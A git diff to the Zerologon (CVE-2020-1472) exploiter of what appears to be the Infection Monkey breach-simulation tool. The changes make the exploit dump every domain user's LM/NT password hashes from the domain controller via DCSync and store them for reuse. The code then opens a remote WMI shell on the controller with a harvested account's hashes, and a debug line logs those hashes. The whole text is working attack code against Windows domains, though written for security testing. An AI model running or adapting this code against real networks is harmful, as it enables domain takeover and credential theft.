diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 2eace5724..beb46fbc8 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -5,8 +5,9 @@ Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://g import logging import os +import re from binascii import unhexlify -from typing import List, Optional +from typing import Dict, List, Optional import impacket from impacket.dcerpc.v5 import nrpc @@ -64,9 +65,7 @@ class ZerologonExploiter(HostExploiter): # Restore DC's original password. if _exploited: - is_pwd_restored, restored_pwd_hashes = self.restore_password() - if is_pwd_restored: - self.store_extracted_hashes_for_exploitation(user='Administrator', hashes=restored_pwd_hashes) + if self.restore_password(): LOG.info("System exploited and password restored successfully.") else: LOG.info("System exploited but couldn't restore password!") @@ -138,22 +137,22 @@ class ZerologonExploiter(HostExploiter): LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.") return _exploited - def restore_password(self) -> (Optional[bool], List[str]): + def restore_password(self) -> bool: LOG.info("Restoring original password...") try: - admin_pwd_hashes = None rpc_con = None - # DCSync to get Administrator password's hashes. - LOG.debug("DCSync; getting Administrator password's hashes.") - admin_pwd_hashes = self.get_admin_pwd_hashes() - if not admin_pwd_hashes: - raise Exception("Couldn't extract Administrator password's hashes.") + # DCSync to get some username and its password's hashes. + LOG.debug("DCSync; getting some username and its password's hashes.") + user_details = self.get_user_details() + if not user_details: + raise Exception("Couldn't extract username and/or its password's hashes.") - # Use Administrator password's NT hash to get original DC password's hashes. + # Use above extracted credentials to get original DC password's hashes. LOG.debug("Getting original DC password's NT hash.") - original_pwd_nthash = self.get_original_pwd_nthash(':'.join(admin_pwd_hashes)) + username, user_pwd_hashes = user_details[0], [user_details[1]['lm_hash'], user_details[1]['nt_hash']] + original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes)) if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's NT hash.") @@ -162,7 +161,7 @@ class ZerologonExploiter(HostExploiter): rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) except Exception as e: LOG.info(f"Exception occurred while connecting to DC: {str(e)}") - return False, admin_pwd_hashes + return False # Start restoration attempts. LOG.debug("Attempting password restoration.") @@ -170,17 +169,17 @@ class ZerologonExploiter(HostExploiter): if not _restored: raise Exception("Failed to restore password! Max attempts exceeded?") - return _restored, admin_pwd_hashes + return _restored except Exception as e: LOG.error(e) - return None, admin_pwd_hashes + return False finally: if rpc_con: rpc_con.disconnect() - def get_admin_pwd_hashes(self) -> List[str]: + def get_user_details(self) -> (str, Dict): try: options = OptionsForSecretsdump( target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" @@ -192,13 +191,21 @@ class ZerologonExploiter(HostExploiter): username=f"{self.dc_name}$", options=options) - user = 'Administrator' - hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets) - return hashes # format - [lmhash, nthash] + extracted_creds = self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets) + + admin = 'Administrator' + if admin in extracted_creds: + return admin, extracted_creds[admin] + else: + for user in extracted_creds.keys(): + if extracted_creds[user]['RID'] >= 1000: # will only be able to log in with user accounts + return user, extracted_creds[user] except Exception as e: LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}") + return None + def get_dumped_secrets(self, remote_name: str = '', username: str = '', @@ -209,17 +216,35 @@ class ZerologonExploiter(HostExploiter): dumped_secrets = dumper.dump().split('\n') return dumped_secrets - @staticmethod - def _extract_user_hashes_from_secrets(user: str, secrets: List[str]) -> List[str]: - for secret in secrets: - if user in secret: - # format of secret - "domain\uid:rid:lmhash:nthash:::" - hashes = secret.split(':')[2:4] - return hashes # format - [lmhash, nthash] + def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> Dict: + extracted_creds = {} - def store_extracted_hashes_for_exploitation(self, user: str, hashes: List[str]) -> None: - self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1]) - self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1]) + # format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::" + re_phrase =\ + r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])' + + for line in dumped_secrets: + secret = re.fullmatch(pattern=re_phrase, string=line) + if secret: + parts_of_secret = secret[0].split(':') + user = parts_of_secret[0].split('\\')[-1] # we don't want the domain + user_RID, lmhash, nthash = parts_of_secret[1:4] + + extracted_creds[user] = {'RID': int(user_RID), # relative identifier + 'lm_hash': lmhash, + 'nt_hash': nthash} + + self.store_extracted_creds_for_exploitation(extracted_creds) + return extracted_creds + + def store_extracted_creds_for_exploitation(self, extracted_creds: Dict) -> None: + for user in extracted_creds.keys(): + self.add_extracted_creds_to_exploit_info(user, + extracted_creds[user]['lm_hash'], + extracted_creds[user]['nt_hash']) + self.add_extracted_creds_to_monkey_config(user, + extracted_creds[user]['lm_hash'], + extracted_creds[user]['nt_hash']) def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: self.exploit_info['credentials'].update({ @@ -242,8 +267,8 @@ class ZerologonExploiter(HostExploiter): if nthash not in self._config.exploit_ntlm_hash_list: self._config.exploit_ntlm_hash_list.append(nthash) - def get_original_pwd_nthash(self, admin_pwd_hashes: str) -> str: - if not self.save_HKLM_keys_locally(admin_pwd_hashes): + def get_original_pwd_nthash(self, username: str, user_pwd_hashes: str) -> str: + if not self.save_HKLM_keys_locally(username, user_pwd_hashes): return try: @@ -268,12 +293,12 @@ class ZerologonExploiter(HostExploiter): finally: self.remove_locally_saved_HKLM_keys() - def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool: - LOG.debug("Starting remote shell on victim.") + def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: str) -> bool: + LOG.debug(f"Starting remote shell on victim with user: \"{username}\" and hashes: \"{user_pwd_hashes}\". ") wmiexec = Wmiexec(ip=self.dc_ip, - username='Administrator', - hashes=admin_pwd_hashes, + username=username, + hashes=user_pwd_hashes, domain=self.dc_ip) remote_shell = wmiexec.get_remote_shell()